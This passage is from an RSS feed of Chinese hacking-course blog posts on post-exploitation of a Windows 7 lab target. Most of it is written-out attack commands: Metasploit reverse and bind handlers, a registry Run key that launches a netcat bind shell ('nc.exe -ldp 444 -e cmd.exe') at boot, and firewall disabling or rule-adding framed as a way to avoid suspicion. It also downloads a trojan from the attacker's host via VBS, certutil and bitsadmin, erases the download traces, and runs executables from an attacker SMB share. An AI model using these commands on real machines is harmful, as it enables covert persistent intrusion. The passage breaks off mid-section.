&lt;/div&gt;&lt;h3 id=&#34;特殊情况&#34;&gt;特殊情况
&lt;/h3&gt;&lt;p&gt;如果我们入侵的主机有下面的情况要怎么办：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;当前电脑硬盘不能用（无盘工作站）&lt;/li&gt;
&lt;li&gt;自己权限不高&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;在目标上运行你C盘里的文件&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;pcalua -m -a &lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;攻击机ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\c&lt;/span&gt;$&lt;span class=&#34;se&#34;&gt;\x&lt;/span&gt;x.eex
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;或
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;rundll32.exe zipfldr.d11,RouteTheCall &lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;攻击机&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\c&lt;/span&gt;$&lt;span class=&#34;se&#34;&gt;\x&lt;/span&gt;x. exe
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
        </item>
        <item>
        <title>1.12 进阶后门操作</title>
        <link>https://www.retr0.xyz/p/1.12-%E8%BF%9B%E9%98%B6%E5%90%8E%E9%97%A8%E6%93%8D%E4%BD%9C/</link>
        <pubDate>Sat, 13 Dec 2025 17:17:58 +0800</pubDate>
        
        <guid>https://www.retr0.xyz/p/1.12-%E8%BF%9B%E9%98%B6%E5%90%8E%E9%97%A8%E6%93%8D%E4%BD%9C/</guid>
        <description>&lt;blockquote&gt;
&lt;p&gt;本篇内容使用win7-sp1靶机，请在资源库中自行下载导入&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&#34;进阶后门操作&#34;&gt;进阶后门操作
&lt;/h2&gt;&lt;h3 id=&#34;复习&#34;&gt;复习
&lt;/h3&gt;&lt;p&gt;进入kali后若想要连接此前已经设置好的后门：&lt;/p&gt;
&lt;h4 id=&#34;通过服务启动&#34;&gt;通过服务启动
&lt;/h4&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;use exploit/multi/handler
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;setpayload windows/metsvc_bind_tcp
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;set&lt;/span&gt; lport &lt;span class=&#34;m&#34;&gt;31337&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;set&lt;/span&gt; rhost &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id=&#34;永久性后门&#34;&gt;永久性后门
&lt;/h4&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;use exploit/multi/handler
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;set&lt;/span&gt; payload windows/meterpreter/reverse_tcp
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;set&lt;/span&gt; lport &lt;span class=&#34;m&#34;&gt;4321&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nb&#34;&gt;set&lt;/span&gt; lhost &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;自己ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;植入备用后门&#34;&gt;植入备用后门
&lt;/h3&gt;&lt;h4 id=&#34;上传文件&#34;&gt;上传文件
&lt;/h4&gt;&lt;p&gt;我们从【win10攻击机】中取&lt;code&gt;nc.exe&lt;/code&gt;复制到kali中的kali文件夹，&lt;/p&gt;
&lt;p&gt;回到meterpreter终端：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;upload /home/kali/nc.exe c:&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;将&lt;code&gt;nc.exe&lt;/code&gt;上传到对方的C盘&lt;/p&gt;
&lt;h4 id=&#34;修改注册表&#34;&gt;修改注册表
&lt;/h4&gt;&lt;p&gt;查看对方开机自启的配置&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;reg enumkey -k HKLM&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;software&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;microsoft&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;windows&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;currentversion&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;为了防止meterpreter失效，接下来我们要把nc放到对方的自动启动里当作后门&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;reg setval -k HKLM&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;software&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;microsoft&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;windows&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;currentversion&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;run -v nc -d &lt;span class=&#34;s1&#34;&gt;&amp;#39;c:\nc.exe -ldp 444 -e cmd.exe&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;这句话的意思是开机时启动nc并且执行后面的命令使它监听444端口，如果监听到连接就返回一个cmd命令行&lt;/p&gt;
&lt;p&gt;使用下面的命令可用查看刚才写的注册表条目详细信息&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;reg queryval -k HKLM&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;software&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;microsoft&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;windows&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;currentversion&lt;span class=&#34;se&#34;&gt;\\&lt;/span&gt;run -v nc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id=&#34;控制防火墙&#34;&gt;控制防火墙
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;直接关闭&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;因为中文乱码的缘故不方便查看防火墙的状态，所以我们都直接执行一遍防火墙关闭命令就可以了&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;shell
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;netsh advfirewall &lt;span class=&#34;nb&#34;&gt;set&lt;/span&gt; allprofiles state off
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;ol start=&#34;2&#34;&gt;
&lt;li&gt;&lt;strong&gt;增加规则&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;为了防止关闭防火墙引起对方怀疑，我们也可以使用增加一条允许444端口的规则的方法&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;shell
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;netsh firewall add portopening TCP &lt;span class=&#34;m&#34;&gt;444&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;FireWall&amp;#34;&lt;/span&gt; ENABLE ALL
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id=&#34;使用nc连接&#34;&gt;使用nc连接
&lt;/h4&gt;&lt;p&gt;现在我们重启一下靶机，重启后用nc连接看看是否成功&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;nc -v &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;目标ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;444&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id=&#34;缺点&#34;&gt;缺点
&lt;/h4&gt;&lt;p&gt;上面的操作中修改注册表的内容可以在msconfig里查到，所以我们可以考虑使用自解压的方式进行伪装&lt;/p&gt;
&lt;h3 id=&#34;远程下载木马&#34;&gt;远程下载木马
&lt;/h3&gt;&lt;h4 id=&#34;启动apache&#34;&gt;启动apache
&lt;/h4&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;service apache2 start
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;apache的目录位于&lt;code&gt;/var/www/html/&lt;/code&gt;中，我们可以在里面放上木马文件&lt;/p&gt;
&lt;h4 id=&#34;方法一使用vbs下载文件&#34;&gt;方法一：使用vbs下载文件
&lt;/h4&gt;&lt;p&gt;用&lt;code&gt;echo&lt;/code&gt;命令创建&lt;code&gt;a.vbs&lt;/code&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;echo set a=createobject(&amp;#34;adod&amp;#34;+&amp;#34;b.stream&amp;#34;):set
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;w=createobject(&amp;#34;micr&amp;#34;+&amp;#34;osoft.xmlhttp&amp;#34;):w.open&amp;#34;get&amp;#34;,wsh.arguments(
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;0), 0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;1),2 &amp;gt;&amp;gt; a.vbs
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;也可以使用中间的代码手动创建&lt;/p&gt;
&lt;p&gt;然后在cmd中执行下面的命令即可将木马保存到c盘  &lt;strong&gt;（对exe效果可能不好，适合文字脚本类）&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;cscript a.vbs http://&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;攻击机ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;/木马文件名 c:&lt;span class=&#34;se&#34;&gt;\木&lt;/span&gt;马文件名
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id=&#34;方法二使用certutil下载文件&#34;&gt;方法二：使用certutil下载文件
&lt;/h4&gt;&lt;p&gt;在cmd中执行  &lt;strong&gt;（这个也不适合exe等大文件）&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;certutil -urlcache -split -f http://&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;攻击机ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;/木马文件名
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;文件会下载到本目录（cmd打开的地方）&lt;/p&gt;
&lt;p&gt;弊端：每次下载会留下入侵痕迹，所以要进行痕迹清理，方法如下&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;certutil -urlcache -split -f http://&lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;攻击机ip&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;/木马文件名 delete
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;&lt;strong&gt;拓展：certutil的其他功能&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;校验hash值：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;certutil -hashfile &lt;span class=&#34;o&#34;&gt;[&lt;/span&gt;文件路径及名称，例如c:&lt;span class=&#34;se&#34;&gt;\h&lt;/span&gt;i.exe&lt;span class=&#34;o&#34;&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;加密解密文件（虽然不带密钥而且可逆我也不知道为什么配叫加密）：&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 加密&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;certutil -encode c:&lt;span class=&#34;se&#34;&gt;\a&lt;/span&gt;.txt c:&lt;span class=&#34;se&#34;&gt;\b&lt;/span&gt;.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# 解密&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;certutil -decode c:&lt;span class=&#34;se&#34;&gt;\b&lt;/span&gt;.txt c:&lt;span class=&#34;se&#34;&gt;\a&lt;/span&gt;.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h4 id=&#34;方法三使用bitsadmin下载文件&#34;&gt;方法三：使用bitsadmin下载文件
&lt;/h4&gt;&lt;p&gt;在cmd中执行&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
